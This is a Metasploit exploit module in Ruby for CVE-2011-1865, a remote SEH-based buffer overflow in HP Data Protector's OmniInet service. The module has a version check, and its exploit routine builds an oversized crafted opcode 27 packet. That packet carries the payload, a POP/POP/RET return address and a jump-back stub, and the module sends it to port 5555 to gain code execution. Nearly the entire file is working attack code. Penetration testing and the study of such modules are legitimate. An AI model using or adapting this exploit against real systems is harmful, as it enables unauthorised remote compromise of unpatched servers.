metasploit-framework/modules/exploits/windows/misc/hp_omniinet_3.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP OmniInet.exe Opcode 27 Buffer Overflow',
      'Description'    => %q{
          This module exploits a  buffer overflow in the Hewlett-Packard
        OmniInet NT Service. By sending a specially crafted opcode 27 packet,
        a remote attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-1865' ],
          [ 'OSVDB', '73571'],
          [ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload' =>
        {
          'Space'    => 800,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'HP Data Protector A.06.10 Build 611 / A.06.11 Build 243',
            {
              #POP/POP/RET from OmniBack\bin\MSVCR71.dll
              'Ret' => 0x7c35630d
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 29 2011'))

    register_options([Opt::RPORT(5555)], self.class)
  end

  def check

    connect
    sock.put(rand_text_alpha_upper(64))
    resp = sock.get_once(-1,5)
    disconnect

    if (resp)
      resp = resp.unpack('v*').pack('C*')
      print_status("Received response: " + resp)

      # extract version
      if (resp =~ /HP Data Protector/)
        version = resp.split[3]
      elsif (resp =~ /HP OpenView Storage Data Protector/)
        version = resp.split[5]
      elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
        version = resp.split[5]
      else
        return Exploit::CheckCode::Detected
      end

      version = version.split('.')
      major = version[1].to_i
      minor = version[2].to_i
      if ((major < 6) or (major == 6 and minor < 11))
        return Exploit::CheckCode::Appears
      end

      if ((major > 6) or (major == 6 and minor >= 11))
        return Exploit::CheckCode::Safe
      end

    end
    return Exploit::CheckCode::Safe

  end

  def exploit

    connect

    trigger = rand_text_alpha_upper(10000)
    trigger[4552, payload.encoded.length] = payload.encoded
    trigger[5352, 8] = generate_seh_record(target.ret)
    trigger[5360, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-788").encode_string

    opcode = "27"

    packet = Rex::Text.to_unicode("\x00")
    packet << "\x27\xca" #length
    packet << "\xff\xfe\x32"
    packet << "\x00\x00\x00"
    packet << Rex::Text.to_unicode("\x20\x61\x00") * 3
    packet << Rex::Text.to_unicode("\x20")
    packet << trigger
    packet << Rex::Text.to_unicode("\x00")
    packet << Rex::Text.to_unicode("\x20\x61\x00")
    packet << Rex::Text.to_unicode("\x20" + opcode + "\x00")
    packet << Rex::Text.to_unicode("\x20\x61\x00") * 24

    print_status("Trying #{target.name}...")
    sock.put(packet)

    select(nil,nil,nil,10)
    handler
    disconnect

  end

end